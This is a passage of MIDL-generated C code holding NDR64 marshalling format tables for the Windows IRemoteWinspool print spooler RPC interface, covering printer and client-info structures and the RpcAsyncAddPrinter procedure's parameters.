_NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 32 /* 0x20 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 40 /* 0x28 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 48 /* 0x30 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 56 /* 0x38 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *DEVMODE */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag59\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 64 /* 0x40 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 72 /* 0x48 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 80 /* 0x50 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 88 /* 0x58 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 96 /* 0x60 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *SECURITY_DESCRIPTOR */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag64\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag50_t __midl_frag50 =\n{ \n/* *PRINTER_INFO_2 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag51\n};\n\nstatic const __midl_frag49_t __midl_frag49 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1102\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1102\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1102\n    }\n};\n\nstatic const __midl_frag45_t __midl_frag45 =\n{ \n/* PRINTER_INFO_1 */\n    { \n    /* PRINTER_INFO_1 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PRINTER_INFO_1 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */,\n        0,\n        0,\n        &__midl_frag49,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag44_t __midl_frag44 =\n{ \n/* *PRINTER_INFO_1 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag45\n};\n\nstatic const __midl_frag41_t __midl_frag41 =\n{ \n/* PRINTER_INFO_STRESS */\n    { \n    /* PRINTER_INFO_STRESS */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PRINTER_INFO_STRESS */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 136 /* 0x88 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag40_t __midl_frag40 =\n{ \n/* *PRINTER_INFO_STRESS */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag41\n};\n\nstatic const __midl_frag39_t __midl_frag39 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag38_t __midl_frag38 =\n{ \n/* __MIDL_IRemoteWinspool_0012 */\n    { \n    /* __MIDL_IRemoteWinspool_0012 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag39,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 10 /* 0xa */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 0 /* 0x0 */,\n        &__midl_frag40,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag44,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag50,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag71,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 4 /* 0x4 */,\n        &__midl_frag73,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 5 /* 0x5 */,\n        &__midl_frag77,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 6 /* 0x6 */,\n        &__midl_frag81,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 7 /* 0x7 */,\n        &__midl_frag83,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 8 /* 0x8 */,\n        &__midl_frag88,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 9 /* 0x9 */,\n        &__midl_frag88,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag37_t __midl_frag37 =\n{ \n/* PRINTER_CONTAINER */\n    { \n    /* PRINTER_CONTAINER */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PRINTER_CONTAINER */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag38\n        },\n        { \n        /* PRINTER_CONTAINER */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag33_t __midl_frag33 =\n{ \n/* RpcAsyncAddPrinter */\n    { \n    /* RpcAsyncAddPrinter */      /* procedure RpcAsyncAddPrinter */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag957,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pPrinterContainer */      /* parameter pPrinterContainer */\n        &__midl_frag37,\n        { \n        /* pPrinterContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pDevModeContainer */      /* parameter pDevModeContainer */\n        &__midl_frag10,\n        { \n        /* pDevModeContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pSecurityContainer */      /* parameter pSecurityContainer */\n        &__midl_frag92,\n        { \n        /* pSecurityContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pClientInfo */      /* parameter pClientInfo */\n        &__midl_frag17,\n        { \n        /* pClientInfo */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pHandle */      /* parameter pHandle */\n        &__midl_frag99,\n        { \n        /* pHandle */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag31_t __midl_frag31 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1102\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1102\n    }\n};\n\nstatic const __midl_frag28_t __midl_frag28 =\n{ \n/* SPLCLIENT_INFO_3 */\n    { \n    /* SPLCLIENT_INFO_3 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SPLCLIENT_INFO_3 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 56 /* 0x38 */,\n        0,\n        0,\n        &__midl_frag31,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 2 /* 0x2 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x7,    /* FC64_INT64 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag27_t __midl_frag27 =\n{ \n/* *SPLCLIENT_INFO_3 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag28\n};\n\nstatic const __midl_frag26_t __midl_frag26 =\n{ \n/* SPLCLIENT_INFO_2 */\n    { \n    /* SPLCLIENT_INFO_2 */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SPLCLIENT_INFO_2 */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    }\n};\n\nstatic const __midl_frag25_t __midl_frag25 =\n{ \n/* *SPLCLIENT_INFO_2 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag26\n};\n\nstatic const __midl_frag21_t __midl_frag21 =\n{ \n/* SPLCLIENT_INFO_1 */\n    { \n    /* SPLCLIENT_INFO_1 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SPLCLIENT_INFO_1 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        0,\n        0,\n        &__midl_frag31,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 2 /* 0x2 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* SPLCLIENT_INFO_1 */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            